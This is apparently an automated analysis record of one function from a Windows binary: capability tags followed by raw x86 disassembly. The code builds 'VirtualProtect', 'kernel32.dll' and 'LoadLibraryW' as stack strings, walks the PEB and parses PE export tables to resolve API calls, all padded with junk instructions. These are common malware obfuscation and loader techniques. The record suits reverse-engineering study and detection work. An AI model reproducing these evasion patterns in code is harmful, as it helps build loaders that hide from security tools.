Function at 0x50f106
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
dec dword [ecx - 0x6ff7b]
push dword [ebp + 0x11]
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x50eda1
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
push edi
add esp, 4
jmp 0x50edb7
call 0x50edc3
add byte [esi + esi + 0x36], cl
dec esp
cmp al, 0x32
add esp, 4
and edx, 0xd881
sub edx, 0x2561
pop edx
push ecx
push esi
add esp, 4
and ecx, 0x163f3
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
add eax, 0x6ab7
call 0x50ee03
add byte [edx], bh
aas
dec ebp
push eax
inc esi
xor al, 0x40
dec edx
add esp, 4
pop eax
push edi
jmp 0x50ee0d
sub edi, 0xd92d
xor edi, 0x13133
and edi, 0x13eec
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x50ee32
cmp dword [ebp - 0xa5c], 0
jne 0x50ee78
push ecx
and ecx, 0xa316
and ecx, 0x21e7
call 0x50ee4b
add byte [ebx + 0x3c], cl
dec edx
push eax
inc ebp
cmp dword [ebx - 0xe7efb3c], eax
lds ebx, [ebx]
add byte [ecx + 0x50], bl
jmp 0x50ee5b
pop eax
push edx
sub edx, 0x4177
pop edx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push esi
push ecx
add esp, 4
and esi, 0x10fd1
or esi, 0x18050
pop esi
push edx
sub edx, 0x1361
and edx, 0xe3b4
pop edx
push esi
push esi
add esp, 4
add esi, 0x8a77
and esi, 0x2fb
pop esi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edi
push ebx
add esp, 4
call 0x50eef4
add byte [ebp + 0x50], cl
xor eax, 0x4d383a39
cmp edi, dword [edi + esi]
add esp, 4
sub edi, 0x1319e
jmp 0x50ef02
or edi, 0xb098
pop edi
push ecx
or ecx, 0x17e35
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
push ecx
add esp, 4
or edi, 0xb868
add edi, 0x173be
pop edi
push eax
xor eax, 0x6cc7
xor eax, 0x6a5b
and eax, 0x9353
pop eax
push ecx
push edi
add esp, 4
and ecx, 0x4e23
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
add edx, 0x1bdf
or edx, 0xb1f4
add edx, 0xd811
sub edx, 0x13ff8
pop edx
push edi
push esi
add esp, 4
or edi, 0xd37f
add edi, 0x9c2b
xor edi, 0x2079
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x50f01d
mov dword [ebp - 0x2a8], 0
jmp 0x50f2c4
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
add edx, 0x49ab
or edx, 0x15c05
sub edx, 0xd9dd
pop edx
push eax
push esi
add esp, 4
sub eax, 0x209a
and eax, 0x17b47
add eax, 0x16dad
and eax, 0x177fa
pop eax
cmp dword [ebp - 0xc4c], 0
jne 0x50f079
mov dword [ebp - 0x2a8], 0
jmp 0x50f2c4
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
jmp 0x50f08e
and ebx, 0x167b0
and ebx, 0x5b50
call 0x50f0a7
add byte [eax + 0x3b], cl
dec esp
inc ecx
inc ebp
dec eax
add esp, 4
pop ebx
push edx
push esi
add esp, 4
sub edx, 0x1690
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
jmp 0x50f0eb
pop edi
push ecx
jmp 0x50f0f3
jmp 0x50f0f8
call 0x50f106
add byte [ebx + 0x4e], al
dec ecx
dec eax
inc ebx
inc edx
dec esp
dec ebx
add esp, 4
jmp 0x50f112
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
sub eax, 0xebe5
sub eax, 0x16156
pop eax
push esi
push esi
add esp, 4
xor esi, 0x15e59
pop esi
push ebx
push edx
add esp, 4
or ebx, 0x13bf1
xor ebx, 0x17ad2
sub ebx, 0x5189
pop ebx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x50f1b9
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x50f213
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x50f0e1
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x50f0e1
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x50f1fd
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x50f207
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x50f25c
push ecx
and ecx, 0x159fd
add ecx, 0x109fa
or ecx, 0xda5a
pop ecx
push ebx
push ecx
add esp, 4
sub ebx, 0x15ef9
add ebx, 0x13fe8
pop ebx
push edx
push ecx
add esp, 4
and edx, 0x119af
pop edx
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x50f2c4
push esi
add esi, 0x14b8
or esi, 0x13d91
sub esi, 0x8245
xor esi, 0x71a6
pop esi
push ecx
push ecx
add esp, 4
and ecx, 0x7dfb
xor ecx, 0xdab5
add ecx, 0x4046
pop ecx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x50f2ba
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x50f085
mov dword [ebp - 0x2a8], 0
push ebx
push ebx
add esp, 4
and ebx, 0x96a2
jmp 0x50f2d7
and ebx, 0x16acc
add ebx, 0x9f11
pop ebx
push ecx
push eax
add esp, 4
or ecx, 0x13107
sub ecx, 0xc223
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x50fbfb
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
and edx, 0x8fd6
sub edx, 0x9cdf
pop edx
push esi
push ebx
add esp, 4
xor esi, 0x10f68
or esi, 0x26a7
add esi, 0xb25f
pop esi
push edx
push ecx
add esp, 4
sub edx, 0xd009
pop edx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
push ecx
add esp, 4
and edx, 0x97f7
add edx, 0x176ef
pop edx
push edi
push edi
add esp, 4
jmp 0x50f46f
sub edi, 0xd1a9
jmp 0x50f47c
xor edi, 0x412f
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x50f49b
mov dword [ebp - 0x710], 0
jmp 0x50f742
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
push eax
add esp, 4
sub ecx, 0x5493
xor ecx, 0x5d0c
sub ecx, 0x16862
sub ecx, 0x4fb8
pop ecx
push ecx
xor ecx, 0xdc40
pop ecx
push edi
push eax
add esp, 4
or edi, 0x1f31
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x50f4f7
mov dword [ebp - 0x710], 0
jmp 0x50f742
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
push edi
add esp, 4
or edi, 0xf1da
and edi, 0xd83d
and edi, 0xbe28
pop edi
push edi
and edi, 0x62ec
add edi, 0xc397
pop edi
push edx
push edi
add esp, 4
sub edx, 0x67c5
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
xor edi, 0x13c32
or edi, 0x7b97
or edi, 0xbebd
pop edi
push ecx
push eax
add esp, 4
call 0x50f584
add byte [edx], dh
inc edi
dec ebp
dec esi
dec ebx
add esp, 4
pop ecx
push esi
jmp 0x50f590
pop esi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
sub edx, 0x8128
or edx, 0x113d2
pop edx
push ebx
push esi
add esp, 4
call 0x50f60a
add byte [eax + 0x41], dl
inc ebx
xor eax, 0x4033504c
inc esi
add esp, 4
or ebx, 0xebb9
and ebx, 0x8de4
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x50f637
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x50f691
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x50f55f
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x50f55f
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x50f67b
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x50f685
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x50f6da
push edi
push edx
add esp, 4
xor edi, 0x2c57
or edi, 0x1cff
xor edi, 0xd8ae
pop edi
push ebx
push esi
add esp, 4
add ebx, 0xa03e
add ebx, 0x6321
jmp 0x50f6cb
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x50f742
push esi
jmp 0x50f6e3
sub esi, 0xaa1e
add esi, 0xe1de
sub esi, 0x129d6
pop esi
push edx
jmp 0x50f6fd
jmp 0x50f702
jmp 0x50f70b
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x50f738
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x50f503
mov dword [ebp - 0x710], 0
push eax
call 0x50f74f
add byte [edi], bh
cmp bh, byte [edi]
cmp al, 0x50
cmp byte [ebx + 0x575804c4], al
push esi
add esp, 4
jmp 0x50f75e
xor edi, 0xc995
call 0x50f770
add byte [ecx + eax*2], dh
dec ecx
inc edx
dec ebp
add esp, 4
pop edi
cmp dword [ebp - 0x710], 0
jne 0x50f7be
push eax
push edi
add esp, 4
or eax, 0x15b78
pop eax
push ecx
push eax
add esp, 4
and ecx, 0x4d6b
add ecx, 0x10c53
and ecx, 0x15a7
add ecx, 0xd4cb
pop ecx
push esi
sub esi, 0x12181
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x5102e6
push edi
and edi, 0x7cb
call 0x50f7d3
add byte [edi + 0x4f], al
cmp eax, dword [eax + 0x4f]
xor eax, 0xc4833850
add al, 0xe8
or eax, dword [eax]
add byte [eax], al
add byte [edx], bh
dec esi
dec edi
dec esi
xor al, 0x3e
inc eax
xor ecx, dword [ecx + 0x34]
add esp, 4
xor edi, 0x11b41
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x50f82f
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50fb20
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x50f857
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x50fb20
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x50f889
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x50fb20
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x50f8ae
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x50fb20
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x50f908
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x50fb14
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x50f978
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x50fa2a
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x50fa2a
push edi
xor edi, 0x4ec5
pop edi
push eax
jmp 0x50f9b7
add eax, 0xa223
or eax, 0x200b
call 0x50f9d3
add byte [ecx + 0x3d], al
dec eax
cmp dword [ecx + 0x36], eax
aaa
cmp al, 0x4f
inc edi
add esp, 4
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x50fa1c
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x50fa23
jmp 0x50f969
jmp 0x50fa2a
push eax
sub eax, 0x1034a
and eax, 0x16441
add eax, 0x107f8
call 0x50fa4a
add byte [ebp + 0x42], al
xor eax, dword [ebx + 0x38]
push eax
inc ebp
add esp, 4
pop eax
push edx
or edx, 0x150e9
or edx, 0x867f
pop edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x50fa89
mov dword [ebp - 0xc5c], 0
jmp 0x50faf8
push edi
push ecx
add esp, 4
or edi, 0xf05
sub edi, 0x183e4
and edi, 0xb764
pop edi
push ebx
add ebx, 0x8047
xor ebx, 0x50c7
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0x15553
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x50faee
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x50faf8
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x50fb0f
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x50fb20
jmp 0x50f8f9
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x50fbfb
push edi
push ebx
add esp, 4
jmp 0x50fb38
pop edi
push eax
add eax, 0x4c9b
or eax, 0x63f4
add eax, 0x74c5
call 0x50fb5b
add byte [esi + 0x49], al
dec esp
dec esi
inc edi
inc edx
xor al, 0x83
les eax, [eax + ebx*2]
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
jmp 0x50fb72
or edx, 0xf1f3
or edx, 0xe8c1
pop edx
push edi
push ebx
add esp, 4
and edi, 0xe205
xor edi, 0x6d1d
sub edi, 0x17a0b
and edi, 0x5e9c
pop edi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x50fbfb
push edi
push ebx
add esp, 4
jmp 0x50fbc8
xor edi, 0xfa36
pop edi
push eax
sub eax, 0x11b17
jmp 0x50fbdf
and eax, 0x1195
sub eax, 0x16a29
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x5102e6
push eax
push ebx
add esp, 4
or eax, 0x9b10
sub eax, 0x588a
pop eax
push eax
and eax, 0x11a39
pop eax
push ecx
push edi
add esp, 4
add ecx, 0x31f1
or ecx, 0x65c8
sub ecx, 0x2ecb
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
call 0x50fc63
add byte [edi + 0x43], al
cmp byte [esi + esi + 0x3f], cl
push eax
add esp, 4
and edi, 0x16e0d
xor edi, 0xeb1e
pop edi
push ecx
push ebx
add esp, 4
jmp 0x50fc7d
jmp 0x50fc86
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x50fc9f
mov dword [ebp - 0x2a8], 0
jmp 0x50ff46
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
sub ecx, 0x17cc0
and ecx, 0x297e
add ecx, 0xe6d0
pop ecx
push ecx
push esi
add esp, 4
sub ecx, 0x52a4
and ecx, 0x564d
add ecx, 0xd1fa
and ecx, 0x139b0
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x50fcfb
mov dword [ebp - 0x2a8], 0
jmp 0x50ff46
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edx
push edx
add esp, 4
jmp 0x50fd14
sub edx, 0x7a23
pop edx
push edi
push edx
add esp, 4
sub edi, 0x6b0b
xor edi, 0xad3a
pop edi
push edi
push esi
add esp, 4
jmp 0x50fd38
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push ebx
or ebx, 0x3004
xor ebx, 0x2ab9
jmp 0x50fd76
pop ebx
push ebx
push edx
add esp, 4
and ebx, 0x1146c
jmp 0x50fd88
xor ebx, 0x60f0
xor ebx, 0x92ac
pop ebx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
push eax
add esp, 4
or ebx, 0x5a46
add ebx, 0x12375
add ebx, 0xa589
and ebx, 0xaf0e
pop ebx
push ecx
or ecx, 0x786f
sub ecx, 0x9470
and ecx, 0x117b0
pop ecx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x50fe3b
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x50fe95
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x50fd63
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x50fd63
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x50fe7f
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x50fe89
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x50fede
push eax
push eax
add esp, 4
sub eax, 0xcf4d
add eax, 0x3270
jmp 0x50feb7
sub eax, 0x4ecf
pop eax
push ebx
push esi
add esp, 4
and ebx, 0x1980
add ebx, 0xd267
pop ebx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x50ff46
push edx
or edx, 0x4cc2
add edx, 0xd60b
add edx, 0x390b
call 0x50fefe
add byte [ebp + 0x4d], al
cmp eax, 0x37354832
add esp, 4
pop edx
push eax
or eax, 0x45b0
xor eax, 0x158da
pop eax
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x50ff3c
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x50fd07
mov dword [ebp - 0x2a8], 0
push edi
push eax
add esp, 4
sub edi, 0x15cdc
pop edi
push esi
push edi
add esp, 4
sub esi, 0x15925
or esi, 0xf589
pop esi
push eax
call 0x50ff74
add byte [esi + 0x3d], al
cmp bh, byte [ecx]
dec edi
dec edx
dec esi
aaa
add esp, 4
pop eax
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push esi
push esi
add esp, 4
or esi, 0x13304
or esi, 0x13cbb
xor esi, 0x5a9b
and esi, 0x17991
pop esi
push esi
add esi, 0xbc81
xor esi, 0x136d
xor esi, 0xe0e9
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x50ffe9
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x5102da
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x510011
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x5102da
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x510043
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x5102da
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x510068
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x5102da
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x5100c2
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x5102ce
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x510132
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x5101e4
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x5101e4
push esi
add esi, 0x134ef
add esi, 0x169c8
or esi, 0x13bff
jmp 0x510178
pop esi
push ecx
push esi
add esp, 4
xor ecx, 0x999f
or ecx, 0xea5
xor ecx, 0x8ce
pop ecx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x5101d6
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x5101dd
jmp 0x510123
jmp 0x5101e4
push eax
push edx
add esp, 4
sub eax, 0x137aa
add eax, 0x10309
pop eax
push esi
jmp 0x5101fe
pop esi
push esi
push edx
add esp, 4
and esi, 0x4fbd
pop esi
push eax
push edx
add esp, 4
jmp 0x510215
pop eax
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
